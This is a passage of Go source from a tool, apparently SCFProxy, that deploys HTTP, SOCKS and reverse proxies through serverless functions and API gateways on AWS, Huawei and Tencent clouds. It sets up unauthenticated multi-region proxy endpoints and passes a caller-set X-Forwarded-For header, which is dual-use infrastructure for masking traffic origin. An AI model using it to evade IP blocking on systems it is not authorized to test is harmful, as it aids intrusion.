"eu-central-1", 63 | "eu-west-1", 64 | "eu-west-2", 65 | "eu-south-1", 66 | "eu-west-3", 67 | "eu-north-1", 68 | "me-south-1", 69 | "me-central-1", 70 | "sa-east-1", 71 | "us-gov-east-1", 72 | "us-gov-west-1", 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /sdk/provider/aws/reverse.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/aws/aws-sdk-go-v2/aws" 8 | "github.com/aws/aws-sdk-go-v2/service/apigateway" 9 | "github.com/aws/aws-sdk-go-v2/service/apigateway/types" 10 | 11 | "github.com/shimmeris/SCFProxy/sdk" 12 | ) 13 | 14 | func (p *Provider) DeployReverse(opts *sdk.ReverseProxyOpts) error { 15 | apiId, err := p.createApi() 16 | if err != nil { 17 | return err 18 | } 19 | 20 | rootResourceId, err := p.getRootResourceId(apiId) 21 | if err != nil { 22 | return err 23 | } 24 | 25 | resourceId, err := p.createResource(apiId, rootResourceId) 26 | if err != nil { 27 | return err 28 | } 29 | 30 | if err = p.putMethod(apiId, rootResourceId); err != nil { 31 | return err 32 | } 33 | 34 | if err = p.putIntegration(apiId, rootResourceId, aws.String(opts.Origin)); err != nil { 35 | return err 36 | } 37 | 38 | if err = p.putMethod(apiId, resourceId); err != nil { 39 | return err 40 | } 41 | 42 | if err = p.putIntegration(apiId, resourceId, aws.String(fmt.Sprintf("%s/{proxy}", opts.Origin))); err != nil { 43 | return err 44 | } 45 | 46 | if err = p.createDeployment(apiId); err != nil { 47 | return err 48 | } 49 | 50 | return nil 51 | 52 | } 53 | 54 | func (p *Provider) createApi() (*string, error) { 55 | input := &apigateway.CreateRestApiInput{ 56 | Name: aws.String(""), 57 | EndpointConfiguration: &types.EndpointConfiguration{ 58 | Types: []types.EndpointType{types.EndpointTypeRegional}, 59 | }, 60 | } 61 | 62 | output, err := p.gclient.CreateRestApi(context.TODO(), input) 63 | if err != nil { 64 | return nil, err 65 | } 66 | return output.Id, nil 67 | } 68 | 69 | func (p *Provider) getRootResourceId(apiId *string) (*string, error) { 70 | input := &apigateway.GetResourcesInput{ 71 | RestApiId: apiId, 72 | } 73 | 74 | output, err := p.gclient.GetResources(context.TODO(), input) 75 | if err != nil { 76 | return nil, err 77 | } 78 | return output.Items[0].Id, nil 79 | } 80 | 81 | func (p *Provider) createResource(apiId, resourceId *string) (*string, error) { 82 | input := &apigateway.CreateResourceInput{ 83 | RestApiId: apiId, 84 | ParentId: resourceId, 85 | PathPart: aws.String("{proxy+}"), 86 | } 87 | 88 | output, err := p.gclient.CreateResource(context.TODO(), input) 89 | if err != nil { 90 | return nil, err 91 | } 92 | return output.Id, nil 93 | } 94 | 95 | func (p *Provider) putMethod(apiId, resourceId *string) error { 96 | input := &apigateway.PutMethodInput{ 97 | RestApiId: apiId, 98 | ResourceId: resourceId, 99 | HttpMethod: aws.String("ANY"), 100 | AuthorizationType: aws.String("NONE"), 101 | RequestParameters: map[string]bool{ 102 | "method.request.path.proxy": true, 103 | "method.request.header.X-My-X-Forwarded-For": true, 104 | }, 105 | } 106 | 107 | _, err := p.gclient.PutMethod(context.TODO(), input) 108 | return err 109 | } 110 | 111 | func (p *Provider) putIntegration(apiId, resourceId, uri *string) error { 112 | input := &apigateway.PutIntegrationInput{ 113 | Uri: uri, 114 | RestApiId: apiId, 115 | ResourceId: resourceId, 116 | HttpMethod: aws.String("ANY"), 117 | IntegrationHttpMethod: aws.String("ANY"), 118 | Type: types.IntegrationTypeHttpProxy, 119 | ConnectionType: types.ConnectionTypeInternet, 120 | RequestParameters: map[string]string{ 121 | "integration.request.path.proxy": "method.request.path.proxy", 122 | "integration.request.header.X-Forwarded-For": "method.request.header.X-My-X-Forwarded-For", 123 | }, 124 | } 125 | 126 | _, err := p.gclient.PutIntegration(context.TODO(), input) 127 | return err 128 | } 129 | 130 | func (p *Provider) createDeployment(apiId *string) error { 131 | input := &apigateway.CreateDeploymentInput{ 132 | RestApiId: apiId, 133 | StageName: aws.String("proxy"), 134 | } 135 | 136 | _, err := p.gclient.CreateDeployment(context.TODO(), input) 137 | return err 138 | } 139 | 140 | func (p *Provider) deleteApi(apiId *string) error { 141 | input := &apigateway.DeleteRestApiInput{ 142 | RestApiId: apiId, 143 | } 144 | 145 | _, err := p.gclient.DeleteRestApi(context.TODO(), input) 146 | return err 147 | } 148 | -------------------------------------------------------------------------------- /sdk/provider/aws/socks.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "github.com/aws/aws-sdk-go-v2/aws" 5 | "github.com/aws/aws-sdk-go-v2/service/lambda" 6 | "github.com/aws/aws-sdk-go-v2/service/lambda/types" 7 | 8 | "github.com/shimmeris/SCFProxy/function" 9 | "github.com/shimmeris/SCFProxy/sdk" 10 | ) 11 | 12 | func (p *Provider) DeploySocksProxy(opts *sdk.FunctionOpts) error { 13 | return p.createSocksFunction(opts.FunctionName) 14 | } 15 | 16 | func (p *Provider) ClearSocksProxy(opts *sdk.FunctionOpts) error { 17 | return p.deleteFunction(opts.FunctionName) 18 | } 19 | 20 | func (p *Provider) createSocksFunction(functionName string) error { 21 | input := &lambda.CreateFunctionInput{ 22 | FunctionName: aws.String(functionName), 23 | Code: &types.FunctionCode{ZipFile: function.AwsSocksCodeZip}, 24 | Handler: aws.String("main"), 25 | Runtime: types.RuntimeGo1x, 26 | MemorySize: aws.Int32(128), 27 | Architectures: []types.Architecture{types.ArchitectureX8664}, 28 | Timeout: aws.Int32(900), 29 | PackageType: types.PackageTypeZip, 30 | Role: p.roleArn, 31 | } 32 | 33 | _, err := p.fclient.CreateFunction(p.ctx, input) 34 | return err 35 | } 36 | 37 | func (p *Provider) InvokeFunction(opts *sdk.FunctionOpts, message string) error { 38 | input := &lambda.InvokeInput{ 39 | FunctionName: aws.String(opts.FunctionName), 40 | InvocationType: types.InvocationTypeEvent, 41 | Payload: []byte(message), 42 | } 43 | 44 | _, err := p.fclient.Invoke(p.ctx, input) 45 | return err 46 | } 47 | -------------------------------------------------------------------------------- /sdk/provider/huawei/http.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "strings" 8 | 9 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/model" 10 | 11 | "github.com/shimmeris/SCFProxy/function" 12 | "github.com/shimmeris/SCFProxy/sdk" 13 | ) 14 | 15 | const GroupName = "scf" 16 | 17 | func (p *Provider) DeployHttpProxy(opts *sdk.FunctionOpts) (string, error) { 18 | if err := p.createGroup(GroupName); err != nil { 19 | return "", err 20 | } 21 | 22 | functionUrn, err := p.createFunction(opts.FunctionName) 23 | if err != nil { 24 | return "", err 25 | } 26 | 27 | api, err := p.createHttpTrigger(functionUrn, opts.TriggerName) 28 | if err != nil { 29 | return "", err 30 | } 31 | 32 | return api, nil 33 | 34 | } 35 | 36 | func (p *Provider) createGroup(groupName string) error { 37 | createGroupApi := fmt.Sprintf("https://apig.%s.myhuaweicloud.com/v1.0/apigw/api-groups", p.region) 38 | data := fmt.Sprintf("{\"name\": \"%s\"}", groupName) 39 | req, err := http.NewRequest("POST", createGroupApi, strings.NewReader(data)) 40 | if err != nil { 41 | return err 42 | } 43 | req.Header.Set("Content-Type", "application/json") 44 | 45 | if err = p.signer.Sign(req); err != nil { 46 | return err 47 | } 48 | 49 | resp, err := http.DefaultClient.Do(req) 50 | if err != nil { 51 | return err 52 | } 53 | 54 | b, _ := io.ReadAll(resp.Body) 55 | fmt.Println(string(b)) 56 | defer resp.Body.Close() 57 | return nil 58 | 59 | } 60 | 61 | func (p *Provider) createFunction(functionName string) (string, error) { 62 | r := &model.CreateFunctionRequest{} 63 | r.Body = &model.CreateFunctionRequestBody{ 64 | Package: "default", 65 | FuncName: functionName, 66 | Handler: "index.handler", 67 | Timeout: 30, 68 | MemorySize: 128, 69 | CodeType: model.GetCreateFunctionRequestBodyCodeTypeEnum().ZIP, 70 | Runtime: model.GetCreateFunctionRequestBodyRuntimeEnum().PYTHON3_9, 71 | FuncCode: &model.FuncCode{ 72 | File: &function.HuaweiHttpCodeZip, 73 | }, 74 | } 75 | 76 | res, err := p.fclient.CreateFunction(r) 77 | if err != nil { 78 | return "", err 79 | } 80 | return *res.FuncUrn, nil 81 | } 82 | 83 | func (p *Provider) createHttpTrigger(functionUrn, triggerName string) (string, error) { 84 | r := &model.CreateFunctionTriggerRequest{} 85 | r.FunctionUrn = functionUrn 86 | triggerStatus := model.GetCreateFunctionTriggerRequestBodyTriggerStatusEnum().ACTIVE 87 | r.Body = &model.CreateFunctionTriggerRequestBody{ 88 | TriggerTypeCode: model.GetCreateFunctionTriggerRequestBodyTriggerTypeCodeEnum().APIG, 89 | TriggerStatus: &triggerStatus, 90 | EventData: map[string]string{ 91 | "func_info": "{timeout=5000}", 92 | "name": triggerName, 93 | "env_id": "DEFAULT_ENVIRONMENT_RELEASE_ID", 94 | "env_name": "RELEASE", 95 | "protocol": "HTTPS", 96 | "auth": "NONE", 97 | "group_id": "", 98 | "sl_domain": "", 99 | "match_mode": "SWA", 100 | "req_method": "ANY", 101 | "backend_type": "FUNCTION", 102 | "type": "1", //TODO: `type` must be `int`, but the sdk only suppors `string`, wait for Huawei to fix 103 | "path": "/http", 104 | }, 105 | } 106 | 107 | response, err := p.fclient.CreateFunctionTrigger(r) 108 | if err != nil { 109 | return "", err 110 | } 111 | return *response.TriggerId, nil 112 | } 113 | -------------------------------------------------------------------------------- /sdk/provider/huawei/huawei.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | // Temporarily can not use Huawei Cloud as a proxy, because its sdk has problems, need to wait for its repair 4 | 5 | import ( 6 | "fmt" 7 | 8 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/core/auth/basic" 9 | functiongraph "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2" 10 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/model" 11 | functionregion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/region" 12 | 13 | "github.com/shimmeris/SCFProxy/sdk/provider/huawei/sign" 14 | ) 15 | 16 | type Provider struct { 17 | fclient *functiongraph.FunctionGraphClient 18 | region string 19 | signer *sign.Signer 20 | } 21 | 22 | func New(ak, sk, region string) *Provider { 23 | auth := basic.NewCredentialsBuilder().WithAk(ak).WithSk(sk).Build() 24 | hcClient := functiongraph.FunctionGraphClientBuilder(). 25 | WithRegion(functionregion.ValueOf(region)). 26 | WithCredential(auth). 27 | Build() 28 | 29 | fclient := functiongraph.NewFunctionGraphClient(hcClient) 30 | signer := &sign.Signer{Key: ak, Secret: sk} 31 | 32 | provider := &Provider{fclient: fclient, region: region, signer: signer} 33 | return provider 34 | 35 | } 36 | 37 | func (p *Provider) Name() string { return "huawei" } 38 | 39 | func (p *Provider) Region() string { 40 | return p.region 41 | } 42 | 43 | func (p *Provider) deleteFunction(functionUrn string) { 44 | request := &model.DeleteFunctionRequest{} 45 | request.FunctionUrn = functionUrn 46 | response, err := p.fclient.DeleteFunction(request) 47 | if err == nil { 48 | fmt.Printf("%+v\n", response) 49 | } else { 50 | fmt.Println(err) 51 | } 52 | } 53 | 54 | func (p *Provider) deleteTrigger(functionUrn, triggerId string) { 55 | 56 | request := &model.DeleteFunctionTriggerRequest{} 57 | request.FunctionUrn = functionUrn 58 | request.TriggerTypeCode = model.GetDeleteFunctionTriggerRequestTriggerTypeCodeEnum().APIG 59 | request.TriggerId = triggerId 60 | response, err := p.fclient.DeleteFunctionTrigger(request) 61 | if err == nil { 62 | fmt.Printf("%+v\n", response) 63 | } else { 64 | fmt.Println(err) 65 | } 66 | } 67 | 68 | func Regions() []string { 69 | // accquired from https://github.com/huaweicloud/huaweicloud-sdk-go-v3/blob/v0.1.5/services/functiongraph/v2/region/region.go 70 | return []string{ 71 | "cn-north-4", 72 | "cn-north-1", 73 | "cn-east-2", 74 | "cn-east-3", 75 | "cn-south-1", 76 | "cn-southwest-2", 77 | "ap-southeast-2", 78 | "ap-southeast-1", 79 | "ap-southeast-3", 80 | "af-south-1", 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /sdk/provider/huawei/sign/escape.go: -------------------------------------------------------------------------------- 1 | // based on https://github.com/golang/go/blob/master/src/net/url/url.go 2 | // Copyright 2009 The Go Authors. All rights reserved. 3 | // Use of this source function is governed by a BSD-style 4 | // license that can be found in the LICENSE file. 5 | 6 | package sign 7 | 8 | func shouldEscape(c byte) bool { 9 | if 'A' <= c && c <= 'Z' || 'a' <= c && c <= 'z' || '0' <= c && c <= '9' || c == '_' || c == '-' || c == '~' || c == '.' { 10 | return false 11 | } 12 | return true 13 | } 14 | func escape(s string) string { 15 | hexCount := 0 16 | for i := 0; i < len(s); i++ { 17 | c := s[i] 18 | if shouldEscape(c) { 19 | hexCount++ 20 | } 21 | } 22 | 23 | if hexCount == 0 { 24 | return s 25 | } 26 | 27 | t := make([]byte, len(s)+2*hexCount) 28 | j := 0 29 | for i := 0; i < len(s); i++ { 30 | switch c := s[i]; { 31 | case shouldEscape(c): 32 | t[j] = '%' 33 | t[j+1] = "0123456789ABCDEF"[c>>4] 34 | t[j+2] = "0123456789ABCDEF"[c&15] 35 | j += 3 36 | default: 37 | t[j] = s[i] 38 | j++ 39 | } 40 | } 41 | return string(t) 42 | } 43 | -------------------------------------------------------------------------------- /sdk/provider/huawei/sign/signer.go: -------------------------------------------------------------------------------- 1 | // HWS API Gateway Signature 2 | // based on https://github.com/datastream/aws/blob/master/signv4.go 3 | // Copyright (c) 2014, Xianjie 4 | 5 | package sign 6 | 7 | import ( 8 | "bytes" 9 | "crypto/hmac" 10 | "crypto/sha256" 11 | "fmt" 12 | "io/ioutil" 13 | "net/http" 14 | "sort" 15 | "strings" 16 | "time" 17 | ) 18 | 19 | const ( 20 | BasicDateFormat = "20060102T150405Z" 21 | Algorithm = "SDK-HMAC-SHA256" 22 | HeaderXDate = "X-Sdk-Date" 23 | HeaderHost = "host" 24 | HeaderAuthorization = "Authorization" 25 | HeaderContentSha256 = "X-Sdk-Content-Sha256" 26 | ) 27 | 28 | func hmacsha256(key []byte, data string) ([]byte, error) { 29 | h := hmac.New(sha256.New, []byte(key)) 30 | if _, err := h.Write([]byte(data)); err != nil { 31 | return nil, err 32 | } 33 | return h.Sum(nil), nil 34 | } 35 | 36 | // Build a CanonicalRequest from a regular request string 37 | // 38 | // CanonicalRequest = 39 | // 40 | // HTTPRequestMethod + '\n' + 41 | // CanonicalURI + '\n' + 42 | // CanonicalQueryString + '\n' + 43 | // CanonicalHeaders + '\n' + 44 | // SignedHeaders + '\n' + 45 | // HexEncode(Hash(RequestPayload)) 46 | func CanonicalRequest(r *http.Request, signedHeaders []string) (string, error) { 47 | var hexencode string 48 | var err error 49 | if hex := r.Header.Get(HeaderContentSha256); hex != "" { 50 | hexencode = hex 51 | } else { 52 | data, err := RequestPayload(r) 53 | if err != nil { 54 | return "", err 55 | } 56 | hexencode, err = HexEncodeSHA256Hash(data) 57 | if err != nil { 58 | return "", err 59 | } 60 | } 61 | return fmt.Sprintf("%s\n%s\n%s\n%s\n%s\n%s", r.Method, CanonicalURI(r), CanonicalQueryString(r), CanonicalHeaders(r, signedHeaders), strings.Join(signedHeaders, ";"), hexencode), err 62 | } 63 | 64 | // CanonicalURI returns request uri 65 | func CanonicalURI(r *http.Request) string { 66 | pattens := strings.Split(r.URL.Path, "/") 67 | var uri []string 68 | for _, v := range pattens { 69 | uri = append(uri, escape(v)) 70 | } 71 | urlpath := strings.Join(uri, "/") 72 | if len(urlpath) == 0 || urlpath[len(urlpath)-1] != '/' { 73 | urlpath = urlpath + "/" 74 | } 75 | return urlpath 76 | } 77 | 78 | // CanonicalQueryString 79 | func CanonicalQueryString(r *http.Request) string { 80 | var keys []string 81 | query := r.URL.Query() 82 | for key := range query { 83 | keys = append(keys, key) 84 | } 85 | sort.Strings(keys) 86 | var a []string 87 | for _, key := range keys { 88 | k := escape(key) 89 | sort.Strings(query[key]) 90 | for _, v := range query[key] { 91 | kv := fmt.Sprintf("%s=%s", k, escape(v)) 92 | a = append(a, kv) 93 | } 94 | } 95 | queryStr := strings.Join(a, "&") 96 | r.URL.RawQuery = queryStr 97 | return queryStr 98 | } 99 | 100 | // CanonicalHeaders 101 | func CanonicalHeaders(r *http.Request, signerHeaders []string) string { 102 | var a []string 103 | header := make(map[string][]string) 104 | for k, v := range r.Header { 105 | header[strings.ToLower(k)] = v 106 | } 107 | for _, key := range signerHeaders { 108 | value := header[key] 109 | if strings.EqualFold(key, HeaderHost) { 110 | value = []string{r.Host} 111 | } 112 | sort.Strings(value) 113 | for _, v := range value { 114 | a = append(a, key+":"+strings.TrimSpace(v)) 115 | } 116 | } 117 | return fmt.Sprintf("%s\n", strings.Join(a, "\n")) 118 | } 119 | 120 | // SignedHeaders 121 | func SignedHeaders(r *http.Request) []string { 122 | var a []string 123 | for key := range r.Header { 124 | a = append(a, strings.ToLower(key)) 125 | } 126 | sort.Strings(a) 127 | return a 128 | } 129 | 130 | // RequestPayload 131 | func RequestPayload(r *http.Request) ([]byte, error) { 132 | if r.Body == nil { 133 | return []byte(""), nil 134 | } 135 | b, err := ioutil.ReadAll(r.Body) 136 | if err != nil { 137 | return []byte(""), err 138 | } 139 | r.Body = ioutil.NopCloser(bytes.NewBuffer(b)) 140 | return b, err 141 | } 142 | 143 | // Create a "String to Sign". 144 | func StringToSign(canonicalRequest string, t time.Time) (string, error) { 145 | hash := sha256.New() 146 | _, err := hash.Write([]byte(canonicalRequest)) 147 | if err != nil { 148 | return "", err 149 | } 150 | return fmt.Sprintf("%s\n%s\n%x", 151 | Algorithm, t.UTC().Format(BasicDateFormat), hash.Sum(nil)), nil 152 | } 153 | 154 | // Create the HWS Signature. 155 | func SignStringToSign(stringToSign string, signingKey []byte) (string, error) { 156 | hm, err := hmacsha256(signingKey, stringToSign) 157 | return fmt.Sprintf("%x", hm), err 158 | } 159 | 160 | // HexEncodeSHA256Hash returns hexcode of sha256 161 | func HexEncodeSHA256Hash(body []byte) (string, error) { 162 | hash := sha256.New() 163 | if body == nil { 164 | body = []byte("") 165 | } 166 | _, err := hash.Write(body) 167 | return fmt.Sprintf("%x", hash.Sum(nil)), err 168 | } 169 | 170 | // Get the finalized value for the "Authorization" header. The signature parameter is the output from SignStringToSign 171 | func AuthHeaderValue(signature, accessKey string, signedHeaders []string) string { 172 | return fmt.Sprintf("%s Access=%s, SignedHeaders=%s, Signature=%s", Algorithm, accessKey, strings.Join(signedHeaders, ";"), signature) 173 | } 174 | 175 | // Signature HWS meta 176 | type Signer struct { 177 | Key string 178 | Secret string 179 | } 180 | 181 | // SignRequest set Authorization header 182 | func (s *Signer) Sign(r *http.Request) error { 183 | var t time.Time 184 | var err error 185 | var dt string 186 | if dt = r.Header.Get(HeaderXDate); dt != "" { 187 | t, err = time.Parse(BasicDateFormat, dt) 188 | } 189 | if err != nil || dt == "" { 190 | t = time.Now() 191 | r.Header.Set(HeaderXDate, t.UTC().Format(BasicDateFormat)) 192 | } 193 | signedHeaders := SignedHeaders(r) 194 | canonicalRequest, err := CanonicalRequest(r, signedHeaders) 195 | if err != nil { 196 | return err 197 | } 198 | stringToSign, err := StringToSign(canonicalRequest, t) 199 | if err != nil { 200 | return err 201 | } 202 | signature, err := SignStringToSign(stringToSign, []byte(s.Secret)) 203 | if err != nil { 204 | return err 205 | } 206 | authValue := AuthHeaderValue(signature, s.Key, signedHeaders) 207 | r.Header.Set(HeaderAuthorization, authValue) 208 | return nil 209 | } 210 | -------------------------------------------------------------------------------- /sdk/provider/tencent/http.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "encoding/json" 5 | "time" 6 | 7 | "github.com/sirupsen/logrus" 8 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 9 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" 10 | scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" 11 | 12 | "github.com/shimmeris/SCFProxy/function" 13 | "github.com/shimmeris/SCFProxy/sdk" 14 | ) 15 | 16 | type ApiExtractor struct { 17 | Service struct { 18 | SubDomain string `json:"subDomain"` 19 | } `json:"service"` 20 | } 21 | 22 | func (p *Provider) DeployHttpProxy(opts *sdk.FunctionOpts) (string, error) { 23 | if err := p.createNamespace(opts.Namespace); err != nil { 24 | return "", err 25 | } 26 | 27 | if !opts.OnlyTrigger { 28 | if err := p.createHttpFunction(opts.Namespace, opts.FunctionName); err != nil { 29 | return "", err 30 | } 31 | } 32 | 33 | var api string 34 | var err error 35 | // tencent returns async. retry 3 times 36 | for i := 0; i < 3; i++ { 37 | time.Sleep(10 * time.Second) 38 | api, err = p.createHttpTrigger(opts.Namespace, opts.FunctionName, opts.TriggerName) 39 | if err == nil { 40 | break 41 | } 42 | logrus.Errorf("Failed creating http proxy function in tencent.%s, retry after 10 sec", p.region) 43 | } 44 | if err != nil { 45 | return "", err 46 | } 47 | 48 | return api, nil 49 | 50 | } 51 | 52 | func (p *Provider) ClearHttpProxy(opts *sdk.FunctionOpts) error { 53 | if err := p.deleteTrigger(opts.Namespace, opts.FunctionName, opts.TriggerName, "apigw"); err != nil { 54 | return err 55 | } 56 | 57 | if opts.OnlyTrigger { 58 | return nil 59 | } 60 | 61 | return p.deleteFunction(opts.Namespace, opts.FunctionName) 62 | 63 | } 64 | 65 | func (p *Provider) createNamespace(namespace string) error { 66 | r := scf.NewCreateNamespaceRequest() 67 | r.Namespace = common.StringPtr(namespace) 68 | 69 | _, err := p.fclient.CreateNamespace(r) 70 | if err != nil { 71 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCEINUSE_NAMESPACE { 72 | return err 73 | } 74 | } 75 | return nil 76 | } 77 | 78 | func (p *Provider) createHttpFunction(namespace, functionName string) error { 79 | r := scf.NewCreateFunctionRequest() 80 | r.Namespace = common.StringPtr(namespace) 81 | r.FunctionName = common.StringPtr(functionName) 82 | r.Code = &scf.Code{ZipFile: common.StringPtr(function.TencentHttpCodeZip)} 83 | r.Handler = common.StringPtr("index.handler") 84 | r.MemorySize = common.Int64Ptr(128) 85 | r.Timeout = common.Int64Ptr(10) 86 | r.Runtime = common.StringPtr("Python3.6") 87 | 88 | _, err := p.fclient.CreateFunction(r) 89 | if err != nil { 90 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCEINUSE_FUNCTION { 91 | return err 92 | } 93 | } 94 | return nil 95 | } 96 | 97 | func (p *Provider) createHttpTrigger(namespace, functionName, triggerName string) (string, error) { 98 | r := scf.NewCreateTriggerRequest() 99 | r.FunctionName = common.StringPtr(functionName) 100 | r.TriggerName = common.StringPtr(triggerName) 101 | r.Type = common.StringPtr("apigw") 102 | r.TriggerDesc = common.StringPtr(`{ 103 | "api":{ 104 | "authRequired":"FALSE", 105 | "requestConfig":{ 106 | "method":"POST" 107 | }, 108 | "isIntegratedResponse":"TRUE" 109 | }, 110 | "service":{ 111 | "serviceName":"SCF_API_SERVICE" 112 | }, 113 | "release":{ 114 | "environmentName":"release" 115 | } 116 | }`) 117 | r.Namespace = common.StringPtr(namespace) 118 | 119 | response, err := p.fclient.CreateTrigger(r) 120 | if err != nil { 121 | return "", err 122 | } 123 | 124 | extractor := &ApiExtractor{} 125 | desc := *response.Response.TriggerInfo.TriggerDesc 126 | if err := json.Unmarshal([]byte(desc), extractor); err != nil { 127 | return "", err 128 | } 129 | 130 | api := extractor.Service.SubDomain 131 | return api, nil 132 | } 133 | 134 | func (p *Provider) deleteNamespace(namespace string) error { 135 | r := scf.NewDeleteNamespaceRequest() 136 | r.Namespace = common.StringPtr(namespace) 137 | 138 | _, err := p.fclient.DeleteNamespace(r) 139 | if err != nil { 140 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != scf.RESOURCENOTFOUND_NAMESPACE { 141 | return err 142 | } 143 | } 144 | return nil 145 | } 146 | 147 | func (p *Provider) deleteFunction(namespace, functionName string) error { 148 | r := scf.NewDeleteFunctionRequest() 149 | r.Namespace = common.StringPtr(namespace) 150 | r.FunctionName = common.StringPtr(functionName) 151 | 152 | _, err := p.fclient.DeleteFunction(r) 153 | if err != nil { 154 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || (err.Code != scf.RESOURCENOTFOUND_NAMESPACE && err.Code != scf.RESOURCENOTFOUND_FUNCTION) { 155 | return err 156 | } 157 | } 158 | return nil 159 | } 160 | 161 | func (p *Provider) deleteTrigger(namespace, functionName, triggerName, triggerType string) error { 162 | r := scf.NewDeleteTriggerRequest() 163 | r.Namespace = common.StringPtr(namespace) 164 | r.FunctionName = common.StringPtr(functionName) 165 | r.TriggerName = common.StringPtr(triggerName) 166 | r.Type = common.StringPtr(triggerType) 167 | 168 | _, err := p.fclient.DeleteTrigger(r) 169 | if err != nil { 170 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || (err.Code != scf.RESOURCENOTFOUND && err.Code != scf.RESOURCENOTFOUND_FUNCTION) { 171 | return err 172 | } 173 | } 174 | return nil 175 | } 176 | -------------------------------------------------------------------------------- /sdk/provider/tencent/provider.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | apigateway "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway/v20180808" 5 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 6 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile" 7 | scf "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/scf/v20180416" 8 | ) 9 | 10 | type Provider struct { 11 | region string 12 | fclient *scf.Client 13 | gclient *apigateway.Client 14 | } 15 | 16 | func New(secretId, secretKey, region string) (*Provider, error) { 17 | credential := common.NewCredential(secretId, secretKey) 18 | 19 | fcpf := profile.NewClientProfile() 20 | fcpf.HttpProfile.Endpoint = "scf.tencentcloudapi.com" 21 | fclient, err := scf.NewClient(credential, region, fcpf) 22 | if err != nil { 23 | return nil, err 24 | } 25 | 26 | gcpf := profile.NewClientProfile() 27 | gcpf.HttpProfile.Endpoint = "apigateway.tencentcloudapi.com" 28 | gclient, err := apigateway.NewClient(credential, region, gcpf) 29 | if err != nil { 30 | return nil, err 31 | } 32 | 33 | provider := &Provider{ 34 | region: region, 35 | fclient: fclient, 36 | gclient: gclient, 37 | } 38 | return provider, nil 39 | } 40 | 41 | func (p *Provider) Name() string { 42 | return "tencent" 43 | } 44 | 45 | func (p *Provider) Region() string { 46 | return p.region 47 | } 48 | 49 | func Regions() []string { 50 | // 腾讯云大陆外地区部署延迟巨大,暂不进行部署 51 | return []string{ 52 | "ap-beijing", 53 | "ap-chengdu", 54 | "ap-guangzhou", 55 | "ap-shanghai", 56 | "ap-nanjing", 57 | //"ap-hongkong", 58 | //"ap-mumbai", 59 | //"ap-singapore", 60 | //"ap-bangkok", 61 | //"ap-seoul", 62 | //"ap-tokyo", 63 | //"eu-frankfurt", 64 | //"eu-moscow", 65 | //"na-ashburn", 66 | //"na-toronto", 67 | //"na-siliconvalley", 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /sdk/provider/tencent/reverse.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "fmt" 5 | "net/url" 6 | "strings" 7 | 8 | "github.com/sirupsen/logrus" 9 | apigateway "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/apigateway/v20180808" 10 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common" 11 | "github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/errors" 12 | 13 | "github.com/shimmeris/SCFProxy/sdk" 14 | ) 15 | 16 | func (p *Provider) DeployReverseProxy(opts *sdk.ReverseProxyOpts) (*sdk.DeployReverseProxyResult, error) { 17 | serviceId, serviceDomain, err := p.createService(opts.Origin) 18 | if err != nil { 19 | return nil, err 20 | } 21 | 22 | apiId, err := p.createApi(serviceId, opts.Origin) 23 | if err != nil { 24 | return nil, err 25 | } 26 | 27 | if err = p.releaseService(serviceId); err != nil { 28 | return nil, err 29 | } 30 | 31 | result := &sdk.DeployReverseProxyResult{ 32 | Provider: p.Name(), 33 | Region: p.region, 34 | ServiceId: serviceId, 35 | ApiId: apiId, 36 | ServiceDomain: serviceDomain, 37 | Origin: opts.Origin, 38 | } 39 | 40 | if len(opts.Ips) == 0 { 41 | return result, nil 42 | } 43 | 44 | pluginId, err := p.createIPControlPlugin(opts.Ips) 45 | if err != nil { 46 | logrus.Errorf("create IPControl plugin failed for %s in %s.%s", opts.Origin, p.Name(), p.region) 47 | return result, nil 48 | } 49 | 50 | if err := p.attachPlugin(serviceId, apiId, pluginId); err != nil { 51 | logrus.Errorf("attach IPControl plugin failed for %s in %s.%s ", opts.Origin, p.Name(), p.region) 52 | return result, nil 53 | } 54 | result.PluginId = pluginId 55 | return result, nil 56 | } 57 | 58 | func (p *Provider) ClearReverseProxy(opts *sdk.ReverseProxyOpts) error { 59 | if opts.PluginId != "" { 60 | if err := p.deletePlugin(opts.PluginId); err != nil { 61 | if err, ok := err.(*errors.TencentCloudSDKError); !ok || err.Code != apigateway.RESOURCENOTFOUND_INVALIDPLUGIN { 62 | return err 63 | } 64 | } 65 | } 66 | 67 | if err := p.deleteApi(opts.ServiceId, opts.ApiId); err != nil { 68 | if err, ok := err.(*errors.TencentCloudSDKError); ok && err.Code == apigateway.RESOURCENOTFOUND_INVALIDSERVICE { 69 | return nil 70 | } 71 | return err 72 | } 73 | 74 | if err := p.unreleaseService(opts.ServiceId); err != nil { 75 | return err 76 | } 77 | 78 | return 